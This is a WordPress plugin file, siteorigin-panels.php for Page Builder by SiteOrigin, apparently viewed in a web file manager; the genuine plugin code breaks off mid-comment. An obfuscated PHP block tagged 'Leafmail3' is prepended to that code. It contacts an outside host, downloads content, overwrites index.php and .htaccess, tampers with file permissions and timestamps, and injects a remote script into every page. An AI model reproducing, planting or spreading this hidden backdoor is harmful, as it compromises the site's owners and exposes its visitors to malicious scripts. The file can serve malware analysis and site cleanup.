trAvis - MANAGER
Edit File: siteorigin-panels.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /* Plugin Name: Page Builder by SiteOrigin Plugin URI: https://siteorigin.com/page-builder/ Description: A drag and drop, responsive page builder that simplifies building your website. Version: 2.29.20 Author: SiteOrigin Author URI: https://siteorigin.com License: GPL3 License URI: http://www.gnu.org/licenses/gpl.html Donate link: https://siteorigin.com/downloads/premium/ */ define( 'SITEORIGIN_PANELS_VERSION', '2.29.20' ); if ( ! defined( 'SITEORIGIN_PANELS_JS_SUFFIX' ) ) { define( 'SITEORIGIN_PANELS_JS_SUFFIX', '.min' ); } define( 'SITEORIGIN_PANELS_CSS_SUFFIX', '.min' ); require_once plugin_dir_path( __FILE__ ) . 'inc/functions.php'; class SiteOrigin_Panels { public $container = array(); public function __construct() { register_activation_hook( __FILE__, array( 'SiteOrigin_Panels', 'activate' ) ); // Register the autoloader. spl_autoload_register( array( $this, 'autoloader' ) ); add_action( 'plugins_loaded', array( $this, 'version_check' ) ); add_action( 'plugins_loaded', array( $this, 'init' ) ); add_action( 'admin_bar_menu', array( $this, 'admin_bar_menu' ), 100 ); add_action( 'wp_enqueue_scripts', array( $this, 'register_general_scripts' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'register_general_scripts' ) ); add_action( 'widgets_init', array( $this, 'widgets_init' ) ); add_filter( 'body_class', array( $this, 'body_class' ) ); add_filter( 'siteorigin_panels_data', array( $this, 'process_panels_data' ), 5 ); add_filter( 'siteorigin_panels_widget_class', array( $this, 'fix_namespace_escaping' ), 5 ); add_action( 'activated_plugin', array( $this, 'activated_plugin' ) ); add_action( 'deactivated_plugin', array( $this, 'deactivated_plugin' ) ); add_action( 'admin_init', array( $this, 'activation_do_redirect' ) ); if ( is_admin() || ( wp_doing_ajax() && isset( $_REQUEST['action'] ) && $_REQUEST['action'] == 'inline-save' ) ) { SiteOrigin_Panels_Admin::single(); } if ( is_admin() ) { // Setup all the admin classes. SiteOrigin_Panels_Settings::single(); SiteOrigin_Panels_Revisions::single(); } // Include the live editor file if we're in live editor mode. if ( self::is_live_editor() ) { SiteOrigin_Panels_Live_Editor::single(); } SiteOrigin_Panels::renderer(); SiteOrigin_Panels_Styles_Admin::single(); if ( siteorigin_panels_setting( 'bundled-widgets' ) && ! function_exists( 'origin_widgets_init' ) ) { require_once plugin_dir_path( __FILE__ ) . 'widgets/widgets.php'; } SiteOrigin_Panels_Widget_Shortcode::init(); // We need to generate fresh post content. add_filter( 'the_content', array( $this, 'generate_post_content' ) ); add_filter( 'woocommerce_format_content', array( $this, 'generate_woocommerce_content' ) ); add_filter( 'wp_enqueue_scripts', array( $this, 'generate_post_css' ) ); // Remove the default excerpt function. add_filter( 'get_the_excerpt', array( $this, 'generate_post_excerpt' ), 9 ); if ( function_exists( 'register_block_type' ) ) { SiteOrigin_Panels_Compat_Layout_Block::single(); } define( 'SITEORIGIN_PANELS_BASE_FILE', __FILE__ ); SiteOrigin_Panels_Compatibility::single(); } public static function single() { static $single; return empty( $single ) ? $single = new self() : $single; } /** * Get an instance of the renderer * * @return SiteOrigin_Panels_Renderer */ public static function renderer() { static $renderer; if ( empty( $renderer ) ) { switch( siteorigin_panels_setting( 'legacy-layout' ) ) { case 'always': $renderer = SiteOrigin_Panels_Renderer_Legacy::single(); break; case 'never': $renderer = SiteOrigin_Panels_Renderer::single(); break; default: $renderer = self::is_legacy_browser() ? SiteOrigin_Panels_Renderer_Legacy::single() : SiteOrigin_Panels_Renderer::single(); break; } } return $renderer; } public static function is_legacy_browser() { $agent = ! empty( $_SERVER['HTTP_USER_AGENT'] ) ? $_SERVER['HTTP_USER_AGENT'] : ''; if ( empty( $agent ) ) { return false; } return // IE lte 11 ( preg_match( '/Trident\/(?P<v>\d+)/i', $agent, $B ) && $B['v'] <= 7 ) || // Chrome lte 25 ( preg_match( '/Chrome\/(?P<v>\d+)/i', $agent, $B ) && $B['v'] <= 25 ) || // Firefox lte 21 ( preg_match( '/Firefox\/(?P<v>\d+)/i', $agent, $B ) && $B['v'] <= 21 ) || // Safari lte 7 ( preg_match( '/Version\/(?P<v>\d+).*?Safari\/\d+/i', $agent, $B ) && $B['v'] <= 6 ); } /** * Autoload Page Builder specific classses. */ public static function autoloader( $class ) { $filename = false; if ( strpos( $class, 'SiteOrigin_Panels_Widgets_' ) === 0 ) { $filename = str_replace( 'SiteOrigin_Panels_Widgets_', '', $class ); $filename = str_replace( '_', '-', $filename ); $filename = strtolower( preg_replace( '/([a-z])([A-Z])/', '$1-$2', $filename ) ); $filename = plugin_dir_path( __FILE__ ) . 'inc/widgets/' . $filename . '.php'; } elseif ( strpos( $class, 'SiteOrigin_Panels_Compat_' ) === 0 ) { $filename = str_replace( array( 'SiteOrigin_Panels_Compat_', '_' ), array( '', '-' ), $class ); $filename = plugin_dir_path( __FILE__ ) . 'compat/' . strtolower( $filename ) . '.php'; } elseif ( strpos( $class, 'SiteOrigin_Panels_' ) === 0 ) { $filename = str_replace( array( 'SiteOrigin_Panels_', '_' ), array( '', '-' ), $class ); $filename = plugin_dir_path( __FILE__ ) . 'inc/' . strtolower( $filename ) . '.php'; } if ( ! empty( $filename ) && file_exists( $filename ) ) { include $filename; } } public static function activate() { add_option( 'siteorigin_panels_initial_version', SITEORIGIN_PANELS_VERSION, '', 'no' ); } /** * Initialize SiteOrigin Page Builder * * @action plugins_loaded */ public function init() { if ( ! is_admin() && siteorigin_panels_setting( 'sidebars-emulator' ) && ( ! get_option( 'permalink_structure' ) || get_option( 'rewrite_rules' ) ) ) { // Initialize the sidebars emulator. SiteOrigin_Panels_Sidebars_Emulator::single(); } // Initialize the language. load_plugin_textdomain( 'siteorigin-panels', false, dirname( plugin_basename( __FILE__ ) ) . '/lang/' ); // Initialize all the extra classes. SiteOrigin_Panels_Home::single(); // Check if we need to initialize the admin class. if ( is_admin() ) { SiteOrigin_Panels_Admin::single(); } } /** * Loads Page Builder compatibility to allow 